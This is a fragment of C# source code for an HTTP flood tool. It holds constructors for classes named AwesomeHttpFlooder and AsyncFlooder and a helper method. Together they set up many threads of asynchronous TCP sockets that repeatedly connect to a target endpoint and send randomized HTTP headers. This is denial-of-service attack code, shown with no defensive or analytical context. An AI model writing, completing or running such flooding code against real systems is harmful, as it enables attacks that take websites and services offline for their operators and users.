public AwesomeHttpFlooder( IPEndPoint target, HttpAttackParams attackParams, int threadCount = 1 ) { var info = new AttackInfo { Target = target, Protocol = ProtocolType.Tcp, Randomizer = this.GenerateHeaderBytes, MaxWrite = 1, SendBufferSize = 512, ReadBufferSize = 512 }; if ( attackParams.WaitForResponse ) info.MaxRead = ulong.MaxValue; _flooder = new AsyncFlooder( info, threadCount ); this._headers = CreateHeaderExpression( attackParams ); this._exprBuffers = new int[ threadCount ][]; var c = this._headers.ComputeLengthDataSize(); for (var i = 0; i < threadCount; i++) this._exprBuffers[ i ] = new int[c]; }
public AsyncFlooder( AttackInfo info, int threadCount = 1 ) { this.Info = info; this.ThreadCount = threadCount; this._sendBuffers = new byte[ this.ThreadCount ][]; this._recvBuffers = new byte[ this.ThreadCount ][]; this._connectArgs = new SocketAsyncEventArgs[ this.ThreadCount ]; this._fConn = ( a, b ) => this.LoopExec( (Socket) a, b, this.ConnectedWorker, this.SentWorker, this.ReceivedWorker ); this._fSend = ( a, b ) => this.LoopExec( (Socket) a, b, this.SentWorker, this.ReceivedWorker ); this._fRecv = ( a, b ) => { if ( b.BytesTransferred == 0 ){ this._fConn( a, b ); return; } this.LoopExec( (Socket) a, b, this.ReceivedWorker ); }; this._recvArgs = new SocketAsyncEventArgs[ this.ThreadCount ]; this._recvLast = new ulong[ this.ThreadCount ]; this._sendArgs = new SocketAsyncEventArgs[ this.ThreadCount ]; this._sendLast = new ulong[ this.ThreadCount ]; this._workingSocket = new Socket[ this.ThreadCount ]; this._workingThreads = new Thread[ this.ThreadCount ]; for ( var i = 0; i < this.ThreadCount; i++ ) this._sendBuffers[ i ] = new byte[ info.SendBufferSize ]; for ( var i = 0; i < this.ThreadCount; i++ ) this._recvBuffers[ i ] = new byte[ info.ReadBufferSize ]; }
private void UpdateArgs( int i, AttackInfo info ) { this._connectArgs[ i ].RemoteEndPoint = info.Target; this._sendArgs[ i ].RemoteEndPoint = info.Target; this._recvArgs[ i ].RemoteEndPoint = info.Target; }